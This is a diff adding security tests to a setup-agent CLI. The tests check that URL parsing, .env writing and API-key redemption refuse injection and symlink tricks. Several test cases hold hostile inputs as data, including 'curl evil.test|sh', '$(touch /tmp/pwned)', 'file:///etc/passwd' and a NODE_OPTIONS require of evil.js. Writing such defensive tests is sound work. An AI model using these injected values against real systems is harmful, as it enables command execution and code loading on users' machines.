setup-agent 0.0.6 → 0.0.8

package/src/cli.test.ts

@@ -1,11 +1,18 @@
+import { createHash } from "node:crypto";
+import type { connectCheckout } from "./client";
 import { initialCheckoutState, type Checkout } from "./protocol";
 import { describe, expect, it, onTestFinished, vi } from "vitest";
 import {
   chmod,
   mkdtemp,
+  mkdir,
+  readdir,
   readFile,
+  realpath,
   rm,
   stat,
+  symlink,
+  unlink,
   writeFile,
 } from "node:fs/promises";
 import { tmpdir } from "node:os";
@@ -13,16 +20,27 @@ import { join } from "node:path";
 import {
   HELP,
   INSTRUCTIONS,
+  main,
   askSeed,
   agentInstructions,
   diffEvents,
   detectAgentKind,
   isDirectInvocation,
+  parseSetupUrl,
   upsertEnvLine,
   waitForStart,
   writeEnvSecret,
 } from "./cli";
 
+const { connectCheckoutMock } = vi.hoisted(() => ({
+  connectCheckoutMock: vi.fn<typeof connectCheckout>(),
+}));
+
+vi.mock("./client", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("./client")>()),
+  connectCheckout: connectCheckoutMock,
+}));
+
 describe("the agent's briefing", () => {
   it("preserves the published instructions export and setup-created event wording", () => {
     expect(INSTRUCTIONS).toBe(agentInstructions);
@@ -290,6 +308,87 @@ describe("upsertEnvLine", () => {
     ).toBe("A=1\nOPENAI_API_KEY=sk-2\nB=2\n");
     expect(upsertEnvLine("A=1\n", "B", "2")).toBe("A=1\nB=2\n");
   });
+
+  it.each([
+    "sk-1\nNODE_OPTIONS=--require ./evil.js",
+    "sk-1\rNODE_OPTIONS=x",
+    "sk-1\u0000",
+    "sk-1\u2028NODE_OPTIONS=x",
+    "sk-1\u0085NODE_OPTIONS=x",
+  ])("refuses a value that would add lines: %j", (value) => {
+    expect(() => upsertEnvLine("A=1\n", "OPENAI_API_KEY", value)).toThrow(
+      "must be a single line",
+    );
+  });
+
+  it("keeps an = inside the value on the key's own line", () => {
+    expect(upsertEnvLine("", "KEY", "abc==")).toBe("KEY=abc==\n");
+  });
+});
+
+describe("parseSetupUrl", () => {
+  it.each([
+    ["https://checkout.test/session", "https://checkout.test/session"],
+    ["https://checkout.test/session/", "https://checkout.test/session"],
+    ["https://checkout.test", "https://checkout.test"],
+    ["HTTPS://Checkout.Test:8443/a/b", "https://checkout.test:8443/a/b"],
+    ["http://localhost:18892/checkout/s", "http://localhost:18892/checkout/s"],
+    ["http://127.0.0.1:8787/checkout/s", "http://127.0.0.1:8787/checkout/s"],
+    ["http://[::1]:8787/checkout/s", "http://[::1]:8787/checkout/s"],
+    ["http://app.localhost/checkout/s", "http://app.localhost/checkout/s"],
+  ])("accepts %j", (value, href) => {
+    expect(parseSetupUrl(value)).toBe(href);
+  });
+
+  it.each([
+    ["not a url", "is not a URL"],
+    ["http://checkout.test/session", "must use https"],
+    ["http://localhost.evil.test/session", "must use https"],
+    ["ftp://checkout.test/session", "must use https"],
+    ["file:///etc/passwd", "must use https"],
+    ["javascript:alert(1)", "must use https"],
+    ["https://user:pass@checkout.test/session", "must not carry credentials"],
+    [
+      "https://checkout.test/session?x=$(touch /tmp/pwned)",
+      "query or fragment",
+    ],
+    ["https://checkout.test/session?", "query or fragment"],
+    ["https://checkout.test/session#`id`", "query or fragment"],
+    ["https://checkout.test/s;curl evil.test|sh", "characters"],
+    ["https://checkout.test/s$(id)", "characters"],
+    ["https://checkout.test/s'&&id&&'", "characters"],
+    ["https://checkout.test/s!x*y", "characters"],
+  ])("refuses %j", (value, message) => {
+    expect(() => parseSetupUrl(value)).toThrow(message);
+  });
+
+  it("keeps characters the parser escapes from reaching a shell", () => {
+    const href = parseSetupUrl('https://checkout.test/s`id`"x" y<z>{w}');
+    expect(href).toBe(
+      "https://checkout.test/s%60id%60%22x%22%20y%3Cz%3E%7Bw%7D",
+    );
+  });
+
+  it("refuses an unsafe URL before connecting", async () => {
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+      connectCheckoutMock.mockReset();
+    });
+    for (const url of [
+      "https://checkout.test/s;touch${IFS}/tmp/pwned",
+      "https://checkout.test/s?x=`id`",
+      "http://checkout.test/session",
+    ]) {
+      await expect(main([url, "status"])).rejects.toThrow("exit");
+    }
+    expect(connectCheckoutMock).not.toHaveBeenCalled();
+    expect(stderr).toHaveBeenCalledTimes(3);
+  });
 });
 
 describe("detectAgentKind", () => {
@@ -503,6 +602,19 @@ describe("begin planning", () => {
 });
 
 describe("agent instructions", () => {
+  it("prints a setup URL as one quoted shell word", () => {
+    const instructions = agentInstructions("https://checkout.test/a'b;c");
+    expect(instructions).toContain(
+      "npx setup-agent 'https://checkout.test/a'\\''b;c' stream",
+    );
+    expect(instructions).not.toContain(
+      "npx setup-agent https://checkout.test/a'",
+    );
+    expect(agentInstructions("https://checkout.test/s")).toContain(
+      "npx setup-agent https://checkout.test/s stream",
+    );
+  });
+
   it("discovers related products and asks contextual entry points before the plan", () => {
     const instructions = agentInstructions(
       "http://localhost:18892/checkout/session",
@@ -571,6 +683,38 @@ describe("writeEnvSecret", () => {
     expect(take).not.toHaveBeenCalled();
   });
 
+  it("refuses a symbolic link without taking the secret or changing its target", async () => {
+    const dir = await tempDir();
+    const target = join(dir, "target");
+    const file = join(dir, ".env.local");
+    await writeFile(target, "ORIGINAL=1\n");
+    await chmod(target, 0o644);
+    await symlink(target, file);
+    const take = vi.fn(async () => "sk-test");
+    await expect(writeEnvSecret(file, "OPENAI_API_KEY", take)).rejects.toThrow(
+      `${file} is a symbolic link; pass --file with its target to write there`,
+    );
+    expect(take).not.toHaveBeenCalled();
+    expect(await readFile(target, "utf8")).toBe("ORIGINAL=1\n");
+    expect((await stat(target)).mode & 0o777).toBe(0o644);
+  });
+
+  it("refuses a parent directory linked outside the project", async () => {
+    const project = await tempDir();
+    const outside = await tempDir();
+    await symlink(outside, join(project, "config"), "dir");
+    const take = vi.fn(async () => "sk-test");
+    await expect(
+      writeEnvSecret(
+        join(project, "config", ".env.local"),
+        "OPENAI_API_KEY",
+        take,
+        project,
+      ),
+    ).rejects.toThrow("outside the project");
+    expect(take).not.toHaveBeenCalled();
+  });
+
   it.skipIf(process.platform === "win32")(
     "creates the file readable only by its owner",
     async () => {
@@ -602,6 +746,15 @@ describe("writeEnvSecret", () => {
     expect(take).not.toHaveBeenCalled();
   });
 
+  it("leaves the file intact when the secret is refused", async () => {
+    const file = join(await tempDir(), ".env.local");
+    await writeFile(file, "A=1\nB=2\n");
+    await expect(
+      writeEnvSecret(file, "OPENAI_API_KEY", async () => "sk-test\nEVIL=1"),
+    ).rejects.toThrow();
+    expect(await readFile(file, "utf8")).toBe("A=1\nB=2\n");
+  });
+
   it("keeps lines another writer added while the secret was being taken", async () => {
     const file = join(await tempDir(), ".env.local");
     await writeEnvSecret(file, "OPENAI_API_KEY", async () => {
@@ -613,3 +766,436 @@ describe("writeEnvSecret", () => {
     );
   });
 });
+
+describe("model key handoff", () => {
+  const fixture = async (stateHomePath?: (root: string) => Promise<string>) => {
+    const root = await mkdtemp(join(tmpdir(), "setup-agent-state-"));
+    const stateHome = stateHomePath
+      ? await stateHomePath(root)
+      : await realpath(root);
+    const stateHomeVariable =
+      process.platform === "win32" ? "LOCALAPPDATA" : "XDG_STATE_HOME";
+    const prior = process.env[stateHomeVariable];
+    process.env[stateHomeVariable] = stateHome;
+    const state: Checkout.State = {
+      ...initialCheckoutState(),
+      id: "setup-a",
+      createdAt: 1,
+      status: "planning",
+    };
+    const ask = vi.fn(async (seed: Checkout.InputSeed) => {
+      state.inputs.push({
+        ...seed,
+        id: "q1",
+        phase: "planning",
+        kind: "model",
+        optional: false,
+        status: "open",
+        createdAt: 2,
+      });
+      return { inputId: "q1" };
+    });
+    const client = { state, commands: { "agent/ask": ask }, dispose: vi.fn() };
+    connectCheckoutMock.mockResolvedValue(
+      client as unknown as Awaited<ReturnType<typeof connectCheckout>>,
+    );
+    const stdout = vi.spyOn(process.stdout, "write").mockReturnValue(true);
+    onTestFinished(async () => {
+      stdout.mockRestore();
+      connectCheckoutMock.mockReset();
+      vi.unstubAllGlobals();
+      vi.unstubAllEnvs();
+      if (prior === undefined) delete process.env[stateHomeVariable];
+      else process.env[stateHomeVariable] = prior;
+      await rm(root, { recursive: true, force: true });
+    });
+    return { state, ask, stateHome, root };
+  };
+
+  const setup = async (stateHomePath?: (root: string) => Promise<string>) => {
+    const context = await fixture(stateHomePath);
+    await main([
+      "https://checkout.test/session",
+      "ask",
+      "--preset",
+      "llm-provider",
+    ]);
+    const directory = join(context.stateHome, "setup-agent");
+    const files = await readdir(directory);
+    const keyFile = join(directory, files[0]!);
+    const redeemKey = await readFile(keyFile, "utf8");
+    return { ...context, directory, files, keyFile, redeemKey };
+  };
+
+  const answerModel = (state: Checkout.State) => {
+    state.inputs[0]!.status = "answered";
+    state.inputs[0]!.answer = JSON.stringify({
+      provider: "openai",
+      model: "gpt-test",
+    });
+  };
+
+  const fallbackDirectory = async () => {
+    const root = await mkdtemp(join(tmpdir(), "setup-agent-fallback-"));
+    for (const variable of ["TMPDIR", "TMP", "TEMP"])
+      vi.stubEnv(variable, root);
+    onTestFinished(() => rm(root, { recursive: true, force: true }));
+    return join(
+      root,
+      `setup-agent-${process.platform === "win32" ? (await import("node:os")).userInfo().username : process.getuid!()}`,
+    );
+  };
+
+  const redeem = async (state: Checkout.State, url: string) => {
+    answerModel(state);
+    const fetch = vi.fn(
+      async (_input: string, _init?: RequestInit) =>
+        new Response("provider-key"),
+    );
+    vi.stubGlobal("fetch", fetch);
+    const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
+    onTestFinished(() => rm(directory, { recursive: true, force: true }));
+    const file = join(directory, ".env.local");
+    await main([url, "env", "q1", "OPENAI_API_KEY", "--file", file]);
+    expect(await readFile(file, "utf8")).toBe("OPENAI_API_KEY=provider-key\n");
+    return fetch;
+  };
+
+  it.skipIf(process.platform === "win32")(
+    "stores the model redeem key privately under the user state home",
+    async () => {
+      const { ask, directory, files, keyFile, redeemKey } = await setup();
+      expect(files).toHaveLength(1);
+      expect((await stat(directory)).mode & 0o777).toBe(0o700);
+      expect((await stat(keyFile)).mode & 0o777).toBe(0o600);
+      expect(redeemKey).toMatch(/^[0-9a-f]{64}$/);
+      expect(ask.mock.calls[0]?.[0].redeemKeyHash).toBe(
+        createHash("sha256").update(redeemKey).digest("hex"),
+      );
+      expect(files).toEqual([`${ask.mock.calls[0]?.[0].redeemKeyHash}.key`]);
+    },
+  );
+
+  it.skipIf(process.platform === "win32")(
+    "stores and redeems through a symlinked state home ancestor",
+    async () => {
+      const { state, keyFile, redeemKey } = await setup(async (root) => {
+        await mkdir(join(root, "real", "state"), { recursive: true });
+        await symlink(join(root, "real"), join(root, "link"));
+        return join(root, "link", "state");
+      });
+      const fetch = await redeem(state, "https://checkout.test/session");
+      expect(fetch.mock.calls[0]?.[1]).toEqual({
+        headers: { "Setup-Agent-Redeem-Key": redeemKey },
+      });
+      expect(await readdir(join(keyFile, ".."))).toEqual([]);
+    },
+  );
+
+  it.skipIf(process.platform === "win32")(
+    "rejects a symlinked setup-agent directory and uses the temp fallback",
+    async () => {
+      const { state, ask, stateHome, root } = await fixture();
+      const target = join(root, "target");
+      await mkdir(target);
+      await symlink(target, join(stateHome, "setup-agent"));
+      const fallback = await fallbackDirectory();
+      await main([
+        "https://checkout.test/session",
+        "ask",
+        "--preset",
+        "llm-provider",
+      ]);
+      const hash = ask.mock.calls[0]?.[0].redeemKeyHash;
+      expect(await readdir(target)).toEqual([]);
+      expect(await readdir(fallback)).toEqual([`${hash}.key`]);
+      const key = await readFile(join(fallback, `${hash}.key`), "utf8");
+      const fetch = await redeem(state, "https://checkout.test/session");
+      expect(fetch.mock.calls[0]?.[1]).toEqual({
+        headers: { "Setup-Agent-Redeem-Key": key },
+      });
+      expect(await readdir(fallback)).toEqual([]);
+    },
+  );
+
+  it("refuses a model question when neither directory can store its key", async () => {
+    const { ask, stateHome } = await fixture();
+    const fallback = await fallbackDirectory();
+    await writeFile(join(stateHome, "setup-agent"), "occupied");
+    await writeFile(fallback, "occupied");
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+    });
+
+    await expect(
+      main([
+        "https://checkout.test/session",
+        "ask",
+        "--preset",
+        "llm-provider",
+      ]),
+    ).rejects.toThrow("exit");
+
+    expect(ask).not.toHaveBeenCalled();
+    expect(String(stderr.mock.calls[0]?.[0])).toMatch(
+      /^setup-agent: could not store the model redeem key: /,
+    );
+  });
+
+  it("removes a stored key when agent/ask fails", async () => {
+    const { ask, stateHome } = await fixture();
+    let storedKey: string | undefined;
+    ask.mockImplementation(async (seed) => {
+      storedKey = await readFile(
+        join(stateHome, "setup-agent", `${seed.redeemKeyHash}.key`),
+        "utf8",
+      );
+      throw new Error("ask rejected");
+    });
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+    });
+    await expect(
+      main([
+        "https://checkout.test/session",
+        "ask",
+        "--preset",
+        "llm-provider",
+      ]),
+    ).rejects.toThrow("exit");
+    expect(storedKey).toMatch(/^[0-9a-f]{64}$/);
+    expect(await readdir(join(stateHome, "setup-agent"))).toEqual([]);
+  });
+
+  it("pairs ask and env across a trailing slash in the endpoint", async () => {
+    const { state, redeemKey, keyFile } = await setup();
+    const fetch = await redeem(state, "https://checkout.test/session/");
+    expect(fetch.mock.calls[0]?.[1]).toEqual({
+      headers: { "Setup-Agent-Redeem-Key": redeemKey },
+    });
+    expect(await readdir(join(keyFile, ".."))).toEqual([]);
+  });
+
+  it("succeeds when the key file disappears before env cleanup", async () => {
+    const { state, keyFile } = await setup();
+    answerModel(state);
+    vi.stubGlobal(
+      "fetch",
+      vi.fn(async () => {
+        await unlink(keyFile);
+        return new Response("provider-key");
+      }),
+    );
+    const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
+    onTestFinished(() => rm(directory, { recursive: true, force: true }));
+    const file = join(directory, ".env.local");
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => stderr.mockRestore());
+    await main([
+      "https://checkout.test/session",
+      "env",
+      "q1",
+      "OPENAI_API_KEY",
+      "--file",
+      file,
+    ]);
+    expect(await readFile(file, "utf8")).toBe("OPENAI_API_KEY=provider-key\n");
+    expect(stderr).not.toHaveBeenCalled();
+  });
+
+  it("sends the stored key on env redemption and removes it after writing", async () => {
+    const { state, keyFile, redeemKey } = await setup();
+    state.inputs[0]!.status = "answered";
+    state.inputs[0]!.answer = JSON.stringify({
+      provider: "openai",
+      model: "gpt-test",
+    });
+    const fetch = vi.fn(
+      async (_input: string, _init?: RequestInit) =>
+        new Response("provider-key"),
+    );
+    vi.stubGlobal("fetch", fetch);
+    const file = join(
+      await mkdtemp(join(tmpdir(), "setup-agent-env-")),
+      ".env.local",
+    );
+    onTestFinished(() =>
+      rm(join(file, ".."), { recursive: true, force: true }),
+    );
+    await main([
+      "https://checkout.test/session",
+      "env",
+      "q1",
+      "OPENAI_API_KEY",
+      "--file",
+      file,
+    ]);
+    expect(fetch.mock.calls[0]?.[1]).toEqual({
+      headers: { "Setup-Agent-Redeem-Key": redeemKey },
+    });
+    expect(await readFile(file, "utf8")).toBe("OPENAI_API_KEY=provider-key\n");
+    expect(await readdir(join(keyFile, ".."))).toEqual([]);
+  });
+
+  it("keeps the stored key after a forbidden redemption", async () => {
+    const { state, keyFile, redeemKey } = await setup();
+    state.inputs[0]!.status = "answered";
+    state.inputs[0]!.answer = JSON.stringify({
+      provider: "openai",
+      model: "gpt-test",
+    });
+    vi.stubGlobal(
+      "fetch",
+      vi.fn(async () => new Response(null, { status: 403 })),
+    );
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+    });
+    const file = join(
+      await mkdtemp(join(tmpdir(), "setup-agent-env-")),
+      ".env.local",
+    );
+    onTestFinished(() =>
+      rm(join(file, ".."), { recursive: true, force: true }),
+    );
+    await expect(
+      main([
+        "https://checkout.test/session",
+        "env",
+        "q1",
+        "OPENAI_API_KEY",
+        "--file",
+        file,
+      ]),
+    ).rejects.toThrow("exit");
+    expect(stderr).toHaveBeenCalledWith(
+      expect.stringContaining('redeem key rejected for "q1"'),
+    );
+    expect(await readFile(keyFile, "utf8")).toBe(redeemKey);
+  });
+
+  it.each([
+    "sk-1\nNODE_OPTIONS=--require ./evil.js",
+    "sk-1\r\nNODE_OPTIONS=x",
+    "sk 1",
+    'sk-"1"',
+    "sk-$(id)",
+    "sk-1;id",
+    "sk-1|id",
+    "sk-1&id",
+    "sk-1>out",
+  ])(
+    "refuses a deposited key that is not one API key word: %j",
+    async (key) => {
+      const { state } = await setup();
+      answerModel(state);
+      vi.stubGlobal(
+        "fetch",
+        vi.fn(async () => new Response(key)),
+      );
+      const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+        throw new Error("exit");
+      });
+      const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+      onTestFinished(() => {
+        exit.mockRestore();
+        stderr.mockRestore();
+      });
+      const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
+      onTestFinished(() => rm(directory, { recursive: true, force: true }));
+      const file = join(directory, ".env.local");
+      await writeFile(file, "A=1\n");
+      await expect(
+        main([
+          "https://checkout.test/session",
+          "env",
+          "q1",
+          "OPENAI_API_KEY",
+          "--file",
+          file,
+        ]),
+      ).rejects.toThrow("exit");
+      expect(stderr).toHaveBeenCalledWith(
+        expect.stringContaining("the deposited key is not a valid API key"),
+      );
+      expect(await readFile(file, "utf8")).toBe("A=1\n");
+    },
+  );
+
+  it("never fetches the key over plain http off this machine", async () => {
+    await setup();
+    const fetch = vi.fn();
+    vi.stubGlobal("fetch", fetch);
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+    });
+    connectCheckoutMock.mockClear();
+    await expect(
+      main(["http://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
+    ).rejects.toThrow("exit");
+    expect(stderr).toHaveBeenCalledWith(
+      expect.stringContaining("must use https"),
+    );
+    expect(connectCheckoutMock).not.toHaveBeenCalled();
+    expect(fetch).not.toHaveBeenCalled();
+  });
+
+  it("fetches the key over http on localhost", async () => {
+    const { state } = await setup();
+    const fetch = await redeem(state, "http://localhost:18892/checkout/s");
+    expect(fetch.mock.calls[0]?.[0]).toBe(
+      "http://localhost:18892/checkout/s/secret/q1?setup=setup-a",
+    );
+  });
+
+  it.skipIf(process.platform === "win32")(
+    "refuses a symbolic link for the stored key",
+    async () => {
+      const { state, keyFile } = await setup();
+      state.inputs[0]!.status = "answered";
+      state.inputs[0]!.answer = JSON.stringify({
+        provider: "openai",
+        model: "gpt-test",
+      });
+      const target = join(keyFile, "..", "other-key");
+      await writeFile(target, "other-value");
+      await unlink(keyFile);
+      await symlink(target, keyFile);
+      const fetch = vi.fn();
+      vi.stubGlobal("fetch", fetch);
+      const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+        throw new Error("exit");
+      });
+      const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+      onTestFinished(() => {
+        exit.mockRestore();
+        stderr.mockRestore();
+      });
+      await expect(
+        main(["https://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
+      ).rejects.toThrow("exit");
+      expect(fetch).not.toHaveBeenCalled();
+      expect(await readFile(target, "utf8")).toBe("other-value");
+    },
+  );
+});